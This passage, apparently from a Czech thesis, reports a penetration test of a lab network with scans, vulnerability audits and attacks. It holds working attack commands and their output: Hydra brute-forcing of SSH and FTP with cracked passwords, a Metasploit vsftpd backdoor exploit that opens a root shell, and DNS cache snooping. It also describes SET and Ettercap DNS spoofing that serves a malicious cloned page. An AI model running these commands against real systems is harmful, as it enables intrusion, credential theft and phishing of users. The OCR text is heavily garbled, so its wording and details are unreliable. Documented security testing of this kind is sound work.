Nmap done: 256 IP addresses (6 hosts up) scanned in 900.02 seconds

VySe pedstavené techniky sadanvyrazré napomohly kroz&eni pomysiné mapy
dostupnych cil. K adresam ziskanym slovnikovym utokem na DNSeseibyly jeSt
navic tyto IP adresy:

+ 192.168.2.112,
* 192.168.2.116,
*+ 192.168.2.118,
 192.168.2.119

Nasleduje dotazani se DNS serveru na tyto IP ad@dgowd DNS serveru je negativni,
dané IP adresy nezna, coz dokazuje nasledujiaiwyst

C:\Users>nslookup 192.168.2.112

Server: UnKnown

Address: 192.168.2.113

*¥** UnKnown, nelze najit adresu 192.168.2.112: Non-existent domain

Tento vystup je totoZzny pro vSechny adresy, je¥ byljeveny scanovanim &itpredevsim
UDP scanem, a nebyly objeveny slovnikovym UtokemDINS server. VySe popsana
situace nazraje, Ze administrator it jez je podrobovana testu, nezamysli, aby byl
servery a stanice s IP adresami dostuptiéjme z internetu. Bylo-li by tomu tak, byly by
pro tento servery vytweny doménova jména.

Na vektoru z internetu do vhiti si€ jsou identifikovany vySe uvedené servery na siti
192.168.2.0/24¢i 192.168.2.0/25. Navic kKimto serveim bude otestovan i samotny
Linuxovy router, nebt se jedna o kriticky wezity prvek infrastrukturyBude tak dinéno

v nasledujici podkapitole.

5.2.3 Ovéreni pristupu dle 0SSTMM 11.5
V predchozi podkapitole byly identifikovanyul@zité nachazejici se ve zkoumané
pocitatové siti. Nyni je fieba o &chto dileZitych cilech zjistit co nejvice informaci.
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Predevsim jaké sluzby jsou néchto cilech dostupné a zdali jsou konkrétni veézatd
sluzeb ®jakym zpisobem zranitelné. Kimto elim budou vyuzZity nastroje Nmap,
Nessus a OpenVAS. Nmap z&lem zjiSéni sluzeb a jejich verzi, jeZ pracuji na danych
zaizenich, Nessus zaélem zjiSéni zranitelnostidchto sluzeb a OpenVAS bude vyuzit
z divodu komparace s nastrojem Nessus.igaqat, Ze budou é&akeé zranitelnosti
objeveny, bude k pokis o zneuzitidchto zranitelnosti vyuzit framework Metasploit.

Nejprve bude zhodnoceno zabesmd Linuxoveho routeru jakozto kritického prvku
infrastruktury. Nasleduje zhodnoceni zabé&ppé systém na vektoru z internetu do
vnitini si€ a v poslednim kroku @vovani gistupu bude odtena Urové zabezpe&eni ve
vnitini siti. Stejg tak, jako byl piizkum si¢ realizovan pomoci kombinaceskolika
prizkumnych technik, tak i jekum otewenych porti a sluzeb na nich dostupnych bude
realizovan pomoci vice technik séan

Jsou vyuzity #i druhy scan. Konkrétreé jde o TCP SYN scan, FIN scan a UDP scan. FIN
scan je zvolen proto, neboper&ni systémy Linuxového typu zpravidla dbaji dogemi
normy RFC,éehoz vyuziva i FIN scan. Konkrétnde o situaci, kdy na uzésny port
dorazi segment, uéhoz v hlavéce chybi RST bit. Norma RFC793 veli pakové situaci
odeslat segment RST bit obsahujici. Vysledky scapustného z internetu shrnuje
nasledujici vystup ze SYN scanu. Vysledky ostatrdebu scafi nejsou vyobrazeny,
neba’ tyto scany neobjevily Zadny ofi@ny port.

root@bt:~/nmapreconn_phase II# nmap -sS -0 -sV 192.168.1.110 -p 1-
65535 -T5 -oX synscan_sV_0.xml -Pn

Host is up (0.00052s latency).

Not shown: 65532 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian S5Subuntul (Ubuntu
Linux; protocol 2.0)

80/tcp open  http Apache httpd 2.2.22 ((Ubuntu))

3128/tcp closed squid-http

MAC Address: 00:0C:29:CB:25:17 (VMware)

Device type: general purpose

Running: Linux 2.6.X]|3.X

OS CPE: cpe:/o:linux:1linux_kernel:2.6 cpe:/o:1linux:linux_kernel:3
0S details: Linux 2.6.32 - 3.6

Z vystupu lze vyvodit, Ze na serveru jsou asigutistupny sluzby SSH a HTTP na portech
22, resp. 80. Z vySe uvedeného vypisu lze za&rmgyodit, Ze verze linuxového jadra na
tomto za&izeni je vySSi nez 2.6 a také, Ze se jedna o liztweané zézeni. Port 3128 je
Nmapem identifikovan jako uzésny. To zpravidla znamena, Ze tento port neni aitam
filtrovan, ale cilovy server na tomto portu prapddobré nema spushu Zadnou aplikaci.
Tato situace s portem 3128i#e indikovat chybné nastaveni firewallu v souvisiee
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sluzbou, ktera na portu 3128iAe byt istupna z vniini strany sit. Nasleduje otestovani
zabezpeeni aplikaci Nessus a nasleédplikaci OpenVAS.

Poté, co je Nessus zaregistrovartigop/nim spudini aktualizuje svoji databazi zasuvnych
moduli, Ize gikrocit k samotnému gizkumu zranitelnosti cilového systémui ®orbe
scanovaci ulohy v programu Nessusi@ba vybrat, zdali se jedna o extethinterni test.
Rozdil mezi &mito testy spdiva v mnozstvi zkoumanych péra pouzitych zasuvnych
moduli. PorévadZ probiha test serveru na rozhrani, jez vedatdmetu, bude v této fazi
zvolen externi test. Vysledek testu shrnuje nagileidiabulka.

Pocet bezpeénostnich problémt dle Nessus | Poéet bezpeénostnich problému dle OpenVAS

Zavainé 0 Zavaziné 0
Stfedné zavainé 0 Stfedné zavainé 3
Nepredstavujici hrozbu 19 Nepredstavujici hrozbu 18

Tabulka 1 - Vysledek auditu Linuxového routeru pomai nastroji OpenVAS a Nessus

Rozdil ve vysledcich je dan rozdilnou implement&chto dvou nastrdj Nessus zjistil
celkem dva otaené porty (totozny vysledek jako poskytl Nmap) aadenact probléin
nepgedstavujicich vadznou bezpmstni hrozbu. SpiSe nez o problémy se vtomto
konkrétnim pipadt jedna o Unik informaci, kdy Nessus byl schope@apr identifikovat
verzi operaniho systému, verze sluzeb naslouchajicich na diesienych portech a také
upozornil, Ze zkoumané #aeni je virtualizovano na platfodmVMWare. Dle nastroje
Nessus tedy stavajici konfigurace branyredptavuje vazfsi hrozbu.

Nastroj OpenVAS dle tabulky 1 vidi situaci jinakivRi stedni zavazna hrozba je ta, Ze
z ¢asovych razitek protokolu TCP lze zjistit dobghb serveru. Nessus tento fakt
interpretoval jako negedstavujici hrozbu. DalSim zjiglym stedre zavaznym problémem

je chovani serveru Apache, ktery generuje ETagtifildtory takovym zfgisobem, Ze by
mohly usnadnit Utok na NFS UloZista témZe serveru. JelikoZz na tomto serveru nebylo
NFS UloZis¢ zjiSttno, ani tato pasaz reportu z nastroje OpenVAStatspavuje #tSi
hrozbu. Posledni problém, ktery OpenVAS hodnotiojatedre zavazny je moZnost
resetovat libovolné TCP spojenii gpravném odhadu ACKisel TCP spojeni. Tatéisla
musi spadat do intervalu zdola ohramého ACKcislem a zhora ohrateného sottem
ACK cisla a velikosti okna TCP spojeni.

Pokud by v #jaké aplikaci, ktera je iftomna na serveru, existovala&jaka chyba
zabezpeéeni, doz¥dél by se o ni tester préw vysledk téchto audit.

PortvadzZ je na serverurfpomna sluzba SSH, bude proveden i test odoln@stiahvici
slovnikovym atokm. Favodré meél byt pro tento test vyuzit MSF, nicm&ma cilovém
serveru je prawpodobrg implementovana ochrana zamezujici pravitokim
slovnikového typu a ip probihajicim utoku je sluzba SSH &@eré pozastavena.
Dusledkem toho je probihajici test nastrojem MSF d&on Jako nahrada byl zvolen
nastroj Hydra, ktery touto vlastnosti nedisponijépowdu k tomuto nastroji Ize ziskat
v manualovych strankach pomodikazuman hydra. Postups bylo vyzkouSeno ¢kolik

68



slovnika, jez jsou volg dostupné na internetu, afigha fada na slovnik obsahujici slova
ceského jazyka se zhruba 147 000 vyrazy. Slovnikawk byl spu&tn nésledujicim
piikazem.

hydra -1 root -P dictionary czech.dic 192.168.1.110 ssh

Prikaz |ze interpretovat tak, Ze uzivatelské jmépbpf heslo se Hydra snazi uhodnout, je
root, hesla, jez Hydra zkouSi, se nachazeji v sauldictionary czech.dic a heslo se
pokouSi uhodnout u sluzby SSH na serveru s IP adré92.168.1.110. Odhadhu
programu s danym slovnikerste po spusini vypada nasledo¥n

[STATUS] 285.00 tries/min, 285 tries in ©00:01h, 147118 todo in
08:37h, 24 active

Interpretovat jej Ize tak, Ze hydra zkouSi zhruB& Besel za minutu, zbyva 147 118 tisic
hesel k vyzkouSeni a doba trvani je odhadovanamadB a 37 minut. Testovani probiha
pomoci 16 viaken.

Po zhruba 7 hodindch a 50 minutacihip se Hydra ohlasila nasledujicim vystupem do
konzole.

[22][ssh] host: 192.168.1.110 login: root password: standa

[STATUS] attack finished for 192.168.1.110 (waiting for children
to finish)

Slovnikovy atok byl Usgsny, penetréni tester ziskal nad Linuxovym sgrmovatem
neomezenou kontrolu. Nutno podotknout, Ze dany ggge velmi narény na zdroje.
Nasledujici grafy na obrazcich 22 a 23 ukazuji ygost vytizeni procesoru atsive karty
ato¢nikova stroje a vytizeni procesoru gosié karty z&zeni, proti 8muz je utok veden.
V uvedenych grafech je na horizontalni ose vyobrazs v jednotkdch hodin. Samotny
utok probihal od cca 21:00 do cca 6:00. Na uvedemyafech je tejmy nafist vytizeni
obou stroj v tomto¢asovém intervalu.
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Obrazek 22 - VytiZzeni prostedki potitaée penetraniho testera i slovnikovém utoku

Vytizeni CPU na Linux gateway [%o]
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Obrazek 23 - VytiZzeni prostedki Linuxového routeru pii slovnikovém atoku

Po procesu hledani bezpestnich chyb na Linuxovém routeru nasleduje zhoenib
zabezpe&eni systém ve vnitni siti na vektoru z internetu do Mt si€. Testovani na
tomto vektoru je omezeno na identifikaci sluZzeld, jgou ges Linuxovy router dostupné.
Duvod je ten, Ze naifiomnost bezpmostnich slabin budou systémy otestovany i ve
vnitini siti a tudiZz by totoZndinnost byla zbyténé opakovana. Vnihi st’ na vektoru

z internetu bude zkoumana totoznymi technikami jsgmotny Linuxovy router. Jedna se
o UDP scan, SYN scan a FIN scan. Naviibyde je& agresivni scan, coz je autory
Nmapu doporéena sada nastaveni pracujici €ktarymi pgredgipravenymi skripty. Diky
tomu mize zjistit dodatéené informace o cilové siti, kteréistanou BzZnymi scany
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neodhaleny. K gizkumu si¢ za Linuxovym routerem bude pouZzit &mastroj Nmap.
V piipact UDP scanu je nutno scanovat jednotlivé servera®yineba@ s hromadnym
scanovanim vtomto rezimu m& Nmap problémy. Opakovkolabuje. Vysledky
jednotlivych scafi shrnuje nésledujici obrazek 22. Obrazek reprejestrvery, jez byly
zZjistény ve vnitni siti @i praizkumu z internetu a také jsou vyobrazeny sluzbyénhto

serverech &ici. Detailni vysledky jednotlivych scampsou k dispozici naifilozeném CD
ve forméatu XML.

22 -SSH oA L
80 — WWW A Ubuntu s jadrem 2.6.x — 3.x

3128 - proxy -4

(K(g:e} 192.168.2.110
192.168.2.112

Linux router
oddélujici sit’ od
internetu

?

53 -DNS r , .
as-rop £ \Windows Server 2008
R

3128 -proxy - Windows Server2003

?

21 -FTP a0
22 -SSH
80 - HTTP ; Ubuntu s jadrem 2.6.x — 3.x

3306 - MySQL o=

192.168.2.116

192.168.2.117

192.168.2.118 ?

192.168.2.

Obrazek 24 - Znalosi o siti LAN po proscanovani aternetu

Poté, co je dokafen piizkum si¢ z internetu, budefikro¢eno k gesunu do vnini sit¢

a zahdjeni testovani zabegpei tamtéZz. Postup je identicky jako fipgacE vektoru
zinternetu. Nejprve bude zkoumana pédgiodrobena procede hledani zédzeni

a nasleda na zdizenich, jez zde budou nalezeny, bude otestovamaaiizabezpéeni.
Stejre jako v gipadt prizkumu na vektoru z internetu do it si€, i zde bude vyuzit
ACK ping, UDP ping a ICMP ping pro zji8ti stanic a serv@rnachazejicich se na této
siti. Nasledn budou zjis¢né stanice oscanovany pomoci SYN, aggresive, UDFNa
scanu za ¢elem nalezenych otésnych porli a sluzeb nagthto portech naslouchajicich.
V poslednim kroku budou tyto servery a zkontrolgvéastroji Nessus a OpenVAS pro
zjistovani zranitelnosti. Skuteosti, jeZ byly zji&ny scanovanim vniti si€, byl-li tester

71



piitomen tamtéz, jsou &p reprezentovany obrazkem éwibdu snadné porovnatelnosti
s vysledkem scanovani na vektoru z internetu dtmirsie.

192.168.2.110

A 192.168.2.112

e

Ry...

Ay Windows Server 2008
192.168.2.113
fy

e

Windows Server 2003

Linux router 192.168.2.115

oddélujici sit’ od
internetu

A ‘g// g// ‘30// ‘S’// >

192.168.2.116

192.168.2.117 |

192.168.2.118

192.168.2.119

<//o//Y§o//Y§)o//V§

22-SSH
80 - WW
3128 - proxy e

10000 — webmin
TCP:21,22,23,25,53,80,111,139,445,512,513,514,1099,152

4,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009,8
180,8787,37163,38893,59755,60452

TCP:53,88,135,139,389,445,464,593,636,1433,3268,3269,
3389,5722,9389,49154,49155,49157,49158,49164

TCP:53,88,135,139,1027,1030,1033,1049,1057,1326,3389

22 - SSH A
o

21-FTP

22-SSH &

80 - HTTP

3306 - MySQL (W

139 - NetBIOS
"Windows98

135 - MSRPC

139 - NetBIOS N

445 — Microsoft DSS ... Bl

1025-NFs|lis  Windows™

5000 - UPnP

Obrazek 25 - Znalosti o siti LAN po proscanovani amit¥

Z porovnani obrazk 24 a 25 je patrné, Ze doSlo wipkhu scanovani zkoumané &sit
k ziskani dalSich podstatnych informaci. Byly objey otevené porty, jeZ na vektoru
z internetu nebyly viditelné, a doSlo kigpréni informaci o opekmich systémech, jez
v dané siti pracuji. Na paacich sIP adresami 192.168.2.112 a 192.168.2.118 jso
z divodu velkého mnozstvi zjistych otewenych TCP pott vyobrazena pouze jejich

¢iselnéd oznéeni, nikoliv nazvy sluzeb.

DalSim krokem je oscanovani nastroji Nessus a Op&nWysledky tohoto scanovani
jsou zapsany do tabulek, ngbmzbor kazdé zranitelnosti kazdéhdizani by sdm o séb
byl obsahlou publikaci ogkolika desitkach stran. Detailni vysledky ptblych scai Ize

nalézt na filozeném CD ve formatu HTML.
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Nessus Velmi Stfedné zavazné | Mélo zavazné | Oteviené porty

zavazné
192.168.2.110 | 0O 6 31 4
192.168.2.112 | 11 16 88 24
192.168.2.113 |2 4 40 13
192.168.2.115 |0 5 32 12
192.168.2.116 | 0 1 13 1
192.168.2.117 |0 0 23 4
192.168.2.118 |1 0 11 1
192.168.2.119 | 13 3 26 5

Tabulka 2 - Patet bezpé€nostnich problémi nalezenych nastrojem Nessus

Jak Ize vidt z uvedenych dvou tabulek, vysledky obou nastuykazuji mirné odliSnosti.
Z uvedenych vysledkani nelze ufit nastroj, ktery by svymi schopnostmiegpazoval nad
konkurentem, nehiokazdy néstroj mohl interpretovat z{ige skuténosti fizné. Co nize
piedstavovat zavaznou hrozbu dle jednoho nastrojgenbyt stedré zavaznowi malo
zavaznou hrozbou dle druhého nastroje.

OpenVAS Vglmj ] Stfedné zavazné | Mélo zavazné | Oteviené porty
zavazné

192.168.2.110 | 0O 4 14 3
192.168.2.112 | 24 6 55 36
192.168.2.113 | 3 3 14 16
192.168.2.115 | 3 3 14 14
192.168.2.116 | 0 3 2 1
192.168.2.117 |1 3 9 4
192.168.2.118 | 1 1 2 2
192.168.2.119 | 2 6 7 7

Tabulka 3 - Patet bezpé€nostnich problémi nalezenych nastrojem OpenVAS

Poté, co se penetra tester seznami s vystupy z progia®penVAS a Nessus, jéeba
prikrocit k pokugim o zneuZziti nalezenych probléma zranitelnosti. Nasledujici odstavce
pro kazdé z nalezenychifzzeni kratce zhodnoti Uroirezabezpé&eni a shrnou, zdali bylo
mozno na zdzeni na zaklatlzjisttnych skuténosti zautsit ¢i nikoliv. A pokud ano, tak
zdali byl utok uspsny.

IP adresa 192.168.2.11@epstavuje rozhrani Linuxového routeru ve fmiitsiti. Pokus
0 napadeni pomoci zranitelnostichybného nastaveni neni mozno realizovat, tiebo
jeden z nastrdj urcenych pro hledani zranitelnosti neobjevil na torséoveru zZadnou
zneuzitelnou zranitelnost. JelikoZ se jedna o piketicky pro testovanou infrastrukturu,
bylo prikro¢eno ke slovnikovému atoku, jeZz se viilao ¢emZ vypovidaji fpedchozi
odstavce této kapitoly. Stav zabeszge tohoto serveru shrnuje nasledujici tabulka.
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Zjisteny OS Linux s jadrem 2.6 — 3.X

Zjisteny software OpenSSH 5.9p1, Apache 2.2.22, Squid 3.1.19, Webmin
Mira napadnutelnosti systému PIna
Zpasob napadnuti systému Slovnikovym Gtokem bylo zji8ho heslo uzivatele root

Tabulka 4 - Shrnuti zabezpé&eni Linuxového routeru

Na adrese 192.168.2.112 byl zji$t_inuxovy server s&Sim mnoZstvim otgenych port

a software. Jak OpenVAS tak Nessus skodpozoinuji na velké mnozstvi velice
zavaznych zranitelnosti. Ze zfigch verzi software na tomto serveru lze odvodit, Z
server nebyl pravgodobré dlouho aktualizovan. Zsohi, jak tento server napadnout,
bylo nalezeno hned ¢kolik. Paiinaje zranitelnou verzi FTP démona VsFTPResp
moznost pipojeni celého souborového systému pomoci protokth$ a az po zneuziti
zranitelnosti v batku distcc, coz je software pro paralelni kompiladrojového kédu

v C/C++. Nasledujici konzolovy vystuprquistavuje ukazku napadeni cilového serveru
pomoci MSF s vyuzitim zranitelnosti v programu VBIBL Nekteré pasazeéasti vystupu
byly pro lepSi pehlednost vypushy.

msf > search vsftpd

msf > use exploit/unix/ftp/vsftpd_234_ backdoor
msf exploit(vsftpd 234 backdoor) > show options

msf exploit(vsftpd 234 backdoor) > set rhost 192.168.2.112
rhost => 192.168.2.112

msf exploit(vsftpd 234 backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password.

[+] Backdoor service has been spawned, handling...

[+] UID: uid=@(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.2.200:59354 ->
192.168.2.112:6200) at 2013-05-06 12:19:20 +020

Na tento server byl spu$t i slovnikovy utok na FTP server, nicngérdtok nebyl
s dostupnym slovnikem G&gny.

PIny seznam zranitelnosti tohoto systému je Kk digpov prisluSnych reportech na
piilozeném CD.
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Lze tedy konstatovat, Ze server sIP adresou 182162 je pld zranitelny. Stav
zabezpeéeni tohoto serveru shrnuje nasledujici tabulka.

Zjisteny OS Ubuntu Linux 8.04

Zjisteny software - VSFTPD 2.3.4,
- SSH 4.7p1,
- TelnetD, Postfix,
- ISC BIND 9.2.4,
- Apache 2.2.8,
- NFS,
- Samba 3.X,
- ProFTPD 1.3.1,
- MySQL 5.0.51a-3ubuntu5
- distccd 4.2.4,
- PostgreSQL 8.3.0 - 8.3.7,
- VNC 3.3,
- rlogin,
- adalsi, ....
Mira napadnutelnosti systému PIna

Zpusob napadnuti systému - zneuziti chyby ve VSFTPD,
- moznost pipojeni souboroveého systému,
- moznost slovnikového Utoku na MySQL,
- moznost pihldSeni se f@s rlogin jako root bez znalosti
hesla,
- adalsi ...
Tabulka 5 — Shrnuti zabezpé&eni serveru s IP adresou 192.168.2.112

Adresa 192.168.2.113tgudstavuje doménovy kontroler organizacéicgmz doména,
kteroutidi, nese nazev zittanet.local. Podrgbhinformace o nalezené dongéiae nalézt

v reportu z programu Nessus nd&ilggeném CD. Oba pouzité nastroje na hledani
zranitelnosti na tomto serveru nalezly zawggnchyby zabezgeni v p&tu jednotek,
piicemz se zddlo zneuzit pouze jednu z nich. Jedna se o chybez&eni s ozn&nim
MS12-020. Tato chyba souvisi se vzdalenou sprawsuesu pomoci protokolu RDP
a umouje utanikovi provest vzdaleny restart servetimz dojde k odef@ni sluzby.
Dale je server nachylny k uniku informaci z DNShmacJelikoZ tuto zranitelnost obsahuje
I server, jehoz zabezpeni je popisovano v nasledujicim odstavci, bude taanitelnost

z divodu zamezeni redundancim popsana tamtéez.
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Zjisteny OS Windows server 2008R2 SP1 64bit

Zjisteny software - DNS server
- SQL server 2012
Mira napadnutelnosti systému | Casténa — DoS, DNS cache snooping

Zpusob napadnuti systému Metasploit framework disponuje exploitem pro zralmbst
MS12-020. ZneuZzitim této zranitelnosti je na cilosgrver
proveden usgsny DoS utok.

Nmap obsahuje skript pro zZjvani informaci z DNS cache.
Tabulka 6 - Shrnuti zabezpé&eni serveru s IP adresou 192.168.2.113

Pfi pohledu na doménové jméno serveru 192.168.2.Jif&me slovnikovym utokem je
patrna role tohoto serveru v siti. Jedna se o smin DNS server pro zénu zittanet.local.
Vysledky scafi z prograni Nessus a Nmap tuto dosmku potvrzuji — server disponuje
sluzbou DNS. Na tomto serveru nenalezl ani jedaastrofi Nessus a OpenVAS Zadnou
velmi zavaznou bezprostni chybu, pouzeckolik sttedre zavaznych, které se tykaly
zpravidla nevhodného Sifrovani u sluzeb vystavergolsit. Nicméré stedrg zavazna
chyba umot#ujiici DNS cache snooping #ptupiuje potencialnimu utmikovi vice
informaci, nez je nutno. Program Nmap ma k dispashidpt, ktery DNS je schopen klast
dotazy do cache cilového serveru a poskytnout taknikovi o tom, zdali uzivatelé
vyuzivajici daného DNS serveru nawdtji urcitou stranku. Tento test byl proveden i na
DNS serveru s IP adresou 192.168.2.115. Jeho \glslgabliZzi nasledujici konzolovy
Vypis.

nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-
cache-snoop.mode=nonrecursive,dns-cache-
snoop.domains={www.idnes.cz,www.seznam.cz,www.uhk.cz,www.upce.cz}"'
192.168.2.115

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-06 16:32 CEST
Nmap scan report for 192.168.2.113

Host is up (0.00015s latency).

PORT STATE SERVICE

53/udp open domain

| dns-cache-snoop: 2 of 4 tested domains are cached.

| www.uhk.cz

| www.upce.cz

MAC Address: 00:0C:29:C3:56:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

Konzolovy vypis ukazuje, Ze tester vznesl dotazmadali uzivatelé navdtuji vybrané
¢tyti webové stranky. U dvou z nich byla odgdvpozitivni. Jednéd se o pa@mmé citlivé
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Udaje ainnost zkouméani cache DNS serveru |#egunat k prochdzeni historie uzZivatele
ve webovém prohlize Vysledek testu serveru 192.168.2.115 shrnujéedagici tabulka.

Zjisteny OS Windows server 2003 SP2
Zjisteény software - IS server 6.0
- DNS server

Mira napadnutelnosti systému | Casté&na — ptizkum DNS cache
Zpusob napadnuti systému Nessus obsahuje skript pro¥fidi dotazy do DNS cache.

Tabulka 7 - Shrnuti zabezpé&eni serveru s IP adresou 192.168.2.115

Na paitaci s IP adresou 192.168.2.116 nebylo shledano zaéw&zné pochybeni, co se
zabezpeéeni tye. Nastroje OpenVAS a Nessus shbdipozornily, Ze tento @étac
podporuje verze SSH 1.99 a 2.0. Dale nessus jgsbzornil, Ze je zde aktivni sluzba
MDNS, ze které lze yst rekteré dilezité informace jako OSi architektura. JelikoZz na
tomto p@itaci byl zjiStén pouze SSH server a nebyla objevena Zadna zraustelze jej
prohlésit za dostate¢ zabezp&eny. ZjiS€nou Urové zabezpé&eni vystihuje nasledujici
tabulka.

Zjisteny OS Ubuntu Linux 7.10 x64

Zjistény software SSH server
Mira napadnutelnosti systému -
Zpasob napadnuti systému -
Tabulka 8 - Shrnuti zabezpé&eni serveru s IP adresou 192.168.2.116

DalSi IP adresa, jez byla v siti nalezena, je BR2.117. Zde &i sluzby ftp, ssh, www
a mysqgl. Nessus zde nenalezl Zadny zayaérbezpénostni problém. VSechny jim
zjistené skuténosti byly ozn&eny jako neohroZujici bezfmost, pouze informoval
o rekterych dilezitych skuténostech jako ndjklad o tom, Ze u sluzby ftp neni
implementovano Sifrovani. OpenVAS ovSem upozorral th, Ze na serveru existuje
stranka s vypisem funkcphpinfo() a poskytl na ni odkaz. Tento vypisihe byt
cennym zdrojem informaci, kde Ize nalézt operasystém serveru, jeho verzi
i architekturu. Heslo pro uZivatele root, které doyjiS€no @i hledani bezp@ostnich
slabin na Linuxovém routeru, bylo platné i zde. Baké podniknut slovnikovy utok na
FTP server, ofi za asistence nastroje Hydra. Byl zvolen slove&t&vajici pevazie ze
slov anglického jazyka a IT pojimSlovnikovy utok byl Usgsny, jak dokazuje nésledujici
konzolovy vystup.

[STATUS] 867.31 tries/min, 155249 tries in ©2:59h, 126607 todo in
02:26h, 16 active

[21][ftp] host: 192.168.2.117 1login: cisco password: cisco
[STATUS] 889.10 tries/min, 176931 tries in ©3:19h, 104925 todo in
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01:59h, 16 active
[21][ftp] host: 192.168.2.117 1login: admin  password: admin

Zpusob zabezpeni tohoto serveru shrnuje nasleduijici tabulka.

Zjisteny OS Ubuntu Linux 12.04 x64

Zjisteny software - PureFTP
- OpenSSH 5.9p1
- WWW server 2.2.22
-  MySQL server

Mira napadnutelnosti systému Pln&

Zpusob napadnuti systému Slovnikovy Utok na FTP, navic platneé jiz z jinélystému
Zjistené heslo uZivatele root.
Tabulka 9 - Shrnuti zabezpéeni serveru s IP adresou 192.168.2.117

Pcatita¢ s IP adresou 192.168.2.118 pouziva aperaystem Windows 98, jak bylo
zjisténo nastroji Nmap, Nessus a OpenVAS. Zde oba naspng zji§ovani zranitelnosti
shodré reportovaly po jedné zavazné chymicmér kazdy z nastrdj reportoval jinou
chybu. Bezpénostni chyba vaZzného charakteru dle Nessustisga v tom, Ze opetai
systém jiz neni podporovan vyrobcem. OpenVAS naapgkvil chybu MS05-019, ktera
umoziuje uta@nikovi podniknout DoS utok. V této konkrétni situaebyl Utok realizovan,
neba’ MSF exploitem nedisponuje a pro sgm$texploitu v jazyce C se pro Backtrack
nezddilo sehnat patbné knihovny. Zabezpeni tohoto poitate shrnuje nasledujici
tabulka.

Zjisteny OS Windows 98
Zjisteny software -

Mira napadnutelnosti systému Pln&

Zpusob napadnuti systému Slovnikovy Utok na FTP, navic platné jiz z jinélystému
Zjistené heslo uZivatele root.
Tabulka 10 -- Shrnuti zabezpéeni serveru s IP adresou 192.168.2.118

Na paitati s adresou 192.168.2.119 je dle nastrbjmap a Nessus nainstalovan OS
Windows XP, pravépodobré ve verzi SP1. Toto samo o sopredstavuje obrovské
bezpeénostni riziko, nebbtakovyto systém obsahuje mnoho be&nmstnich chyb. Nessus
doSel keislu finact zAvaZznych bezpeostnich zranitelnosti, fit stredre zavazné
zranitelnosti a OpenVAS se zastavildisle ti pro zavazné bezperostni zranitelnosti a na
¢isle dva pro sedre zavazneé. Informace ze scanneru OpenVAS nevedlsgpiSaému
napadeni p&itace, nicmér informace ze scanneru Nessus ano. #Apadti nalezenych
zranitelnosti Ize minimath jednu, konkrété MS03-026 zneuzit do té miry, Ze je
ato¢nikovi nabidnuta meterpreter relace, kde méa natltggem naprosto neomezenou
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kontrolu ve vSech oblastech — spravog git¢inaje, es snimani klaves uzivatele az po
manipulaci se soubory kéa. Jedna se tedy o jeden ze dvoditadi v siti, kde se zd#do
ziskat relaci meterpreteru. Podrobné informaceaaitglnostech tohoto piace Ize ziskat
na gilozeném CD.

Zjisteny OS Windows XP SP1

Zjistény software -

Mira napadnutelnosti systému Pln&

Zpusob napadnuti systému Velké mnoZstvi zranitelnosti, miniméljedna poskytuje
moznost napadeni do té miry, Ze lze navazat meterpr
relaci.

Tabulka 11 -- Shrnuti zabezpéeni serveru s IP adresou 192.168.2.119

Zhodnoceni této etapy peneéimého testu a dopoteni vztahujici se k vysledkn
ziskanym v této et&penetraniho testu budouipdstaveny v kapitole 5.3.

5.2.4 Test davérivosti uzivateli a pripadné nasledky dle 0SSTMM 11.7

Tato zavrertna etapa probihajiciho peneétmého testu ma za ukol zhodnotit nebedpe
jez hrozi v pipact Gtoka na klientské stanice. Tyto Utoky budou realizovgomoci
nastroje SET (social engineering toolkit)ajde o stav, ve kterém budou uzivatel
podsteeny kopie legitimnich stranek, a bude testovanké jaasledky nastanou, pokud
uzivatelé ¥as nerozpoznaji podvrh a na strankistpupi. UZivateli je mozno podsir
falsifikat webové stranky hnectkolika zpisoby. Jako prvni moznost se naskyta ,otravit
cache DNS servéra tyto servery pak uzivatele 8mji na ut@nikav pccitac. Tato
moznost je neproveditelna, nebstavajici DNS servery jsou proti Gfok tohoto typu
imunni. DalSi moznosti, jeZz se naskyta, je otrAvARP cache testovanych stanic
a presnérovani veskerého provozu na testepctitac. Tim padem budoutpsnErovany

i veSkeré DNS dotazy. Jakmile tester zachyti DN&zlma stranku, jejiz falsifikat ma
piipraven, vysle odpad® na DNS dotaz, ktera dotazujici secipa instruuje tak, aby
misto na legitimni webovou strankiigtoupila na utdnikav potitac, kde jiz ¢ekd kopie
této webové stranky.

Do podvrzené webové stranky lze zamichat Skodligg & odchytavat data, ktera si
uzivatel s webovou strankou vymi. V pripac tohoto penetiaiho testu se jedn& o prvni
piipad — a sice o podseni weboveé stranky obsahujici Skodlivy kod. Kligatstanice na
tuto proceduru reaguje zpravidla velmi zpomalendezoou webového prohlige, havarii

webového prohlizee ¢i dotazovanim se na spést Java appletu na strankach, kde Java
applet neni.

V prvnim kroku tedy buderéba, aby tester spustil SET a vyiv&opii legitimni weboveée
stranky. Vstup do menu frameworku SET je provedasiadujicim fikazem.

se-toolkit
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Z nabidky SET frameworku byl vybrdn utok na zndugliaibin zabezgeni webovych
prohlize&st. Postup, ktery jei¢ba udlat pro spravnou konfiguraci SET frameworku
telegraficky shrnuje nasledujici seznam.

* Vybrat si typ Utoku (zde zneuZiti slabin prohtiég

» vybrat si webovou stranku, do niZ bude vioZen Jkgdod,
» tuto stranku nasledmaklonovat na PC (taika,

» vybrat payload spudty v pripadt usgSného atoku,

» vybrat enkodér pro tento payload.

Pokud tester vaha jakou stranku si zvolit pro nadl@ni a vloZzeni Skodlivého kodut si
sama o0 sob nabizi vynikajici zdroj inspirace. gdchozi kapitole byl popsan postup,
pomoci r’hoz lze ziskavat informace o navstivenych webeEiN3 cache. Sta z této
DNS cache zjistit jaké weby jsou uzivateli n@véivany a nahodh naklonovat jeden
z nich. SET ve spolupraci s MSF poté spusti welesemva ®jZ je nasazena infikovana
kopie webové stranky.

Nyni zbyva pesnerovat veSkery provoz na uioika tak, aby bylo mozno vySe popsané
podvrhnuti DNS odpadi. K této procedte bude vyuzito nastroje Ettercap. Nejprve je
treba zkonfigurovat Ettercap tak, aby podvrhoval eddona vybrané DNS dotazy. Toto
bude provedeno v soubordyusr/local/share/ettercap/etter.dns, kam je
zapséana néasledujici informace

www.uhk.cz A 192.168.2.200
